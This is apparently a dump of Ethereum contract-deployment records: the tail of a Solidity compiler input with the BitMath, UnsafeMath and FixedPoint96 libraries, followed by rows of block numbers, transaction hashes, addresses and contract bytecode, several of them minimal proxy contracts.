SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title BitMath\n/// @dev This library provides functionality for computing bit properties of an unsigned integer\nlibrary BitMath {\n /// @notice Returns the index of the most significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// x >= 2mostSignificantBit(x) and x < 2(mostSignificantBit(x)+1)\n /// @param x the value for which to compute the most significant bit, must be greater than 0\n /// @return r the index of the most significant bit\n function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n r += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n r += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n r += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n r += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n r += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n r += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n r += 2;\n }\n if (x >= 0x2) r += 1;\n }\n\n /// @notice Returns the index of the least significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// (x & 2leastSignificantBit(x)) != 0 and (x & (2(leastSignificantBit(x)) - 1)) == 0)\n /// @param x the value for which to compute the least significant bit, must be greater than 0\n /// @return r the index of the least significant bit\n function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n r = 255;\n if (x & type(uint128).max > 0) {\n r -= 128;\n } else {\n x >>= 128;\n }\n if (x & type(uint64).max > 0) {\n r -= 64;\n } else {\n x >>= 64;\n }\n if (x & type(uint32).max > 0) {\n r -= 32;\n } else {\n x >>= 32;\n }\n if (x & type(uint16).max > 0) {\n r -= 16;\n } else {\n x >>= 16;\n }\n if (x & type(uint8).max > 0) {\n r -= 8;\n } else {\n x >>= 8;\n }\n if (x & 0xf > 0) {\n r -= 4;\n } else {\n x >>= 4;\n }\n if (x & 0x3 > 0) {\n r -= 2;\n } else {\n x >>= 2;\n }\n if (x & 0x1 > 0) r -= 1;\n }\n}\n" }, "contracts/libraries/UnsafeMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math functions that do not check inputs or outputs\n/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks\nlibrary UnsafeMath {\n /// @notice Returns ceil(x / y)\n /// @dev division by 0 has unspecified behavior, and must be checked externally\n /// @param x The dividend\n /// @param y The divisor\n /// @return z The quotient, ceil(x / y)\n function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {\n assembly {\n z := add(div(x, y), gt(mod(x, y), 0))\n }\n }\n}\n" }, "contracts/libraries/FixedPoint96.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint96\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\n/// @dev Used in SqrtPriceMath.sol\nlibrary FixedPoint96 {\n uint8 internal constant RESOLUTION = 96;\n uint256 internal constant Q96 = 0x1000000000000000000000000;\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 800 }, "metadata": { "bytecodeHash": "none" }, "outputSelection": { "": { "": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } }, "libraries": {} } }}
1	19,499,732	0dbf9510849fa2a25044fcd555e97e68ee7869c551d28fa9ed89fabf2a59969f	df3aa4b27d569bec64b172b0ae423f06f1c5c3333a09b0097ce828807e7c9e8c	4e565f63257d90f988e5ec9d065bab00f94d2dfd	9fa5c5733b53814692de4fb31fd592070de5f5f0	6e84294f3414a21d1757678579edafcd17033995	608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1	19,499,734	06caeabf57f8472dba442447af38ef2976da503dfcdfa3b340c2dd72b83d5a26	c37df34d02679dff20b079d28ff0ab823cc257d2adde393a21d0709d85a1a709	a9a0b8a5e1adca0caccc63a168f053cd3be30808	01cd62ed13d0b666e2a10d13879a763dfd1dab99	10a7fc7c3d035a5149a395206bee1b2dcc14ddb0	3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
1	19,499,736	bdcece288a5bf5af7c5d2aadcc596389c35f9007fa5aef9ed1c894802698e029	9634ee573c6beceb934902a40f301606859299dc210f17c158e6fc0dbebe29ab	84ba51a3b082066482385c2e77c15b36b2888888	fc27cd13b432805f47c90a16646d402566bd3143	3ac554aa8fe0e3e95c393cf7dd4d802e677432dd	60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a	608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1	19,499,736	bdcece288a5bf5af7c5d2aadcc596389c35f9007fa5aef9ed1c894802698e029	9634ee573c6beceb934902a40f301606859299dc210f17c158e6fc0dbebe29ab	84ba51a3b082066482385c2e77c15b36b2888888	fc27cd13b432805f47c90a16646d402566bd3143	a4ea1fce9f9709c12170322165be23fb0eda9984	60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a	608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1	19,499,736	bdcece288a5bf5af7c5d2aadcc596389c35f9007fa5aef9ed1c894802698e029	9634ee573c6beceb934902a40f301606859299dc210f17c158e6fc0dbebe29ab	84ba51a3b082066482385c2e77c15b36b2888888	fc27cd13b432805f47c90a16646d402566bd3143	5c1a529dbe7a042eabfafd9ee7537124e737b073	60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a	608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1	19,499,736	bdcece288a5bf5af7c5d2aadcc596389c35f9007fa5aef9ed1c894802698e029	9634ee573c6beceb934902a40f301606859299dc210f17c158e6fc0dbebe29ab	84ba51a3b082066482385c2e77c15b36b2888888	fc27cd13b432805f47c90a16646d402566bd3143	69311a24f5b02df98bbc389dba44c2dc56c647e2	60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a	608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033

Subsets and Splits

No community queries yet

The top public SQL queries from the community will appear here once available.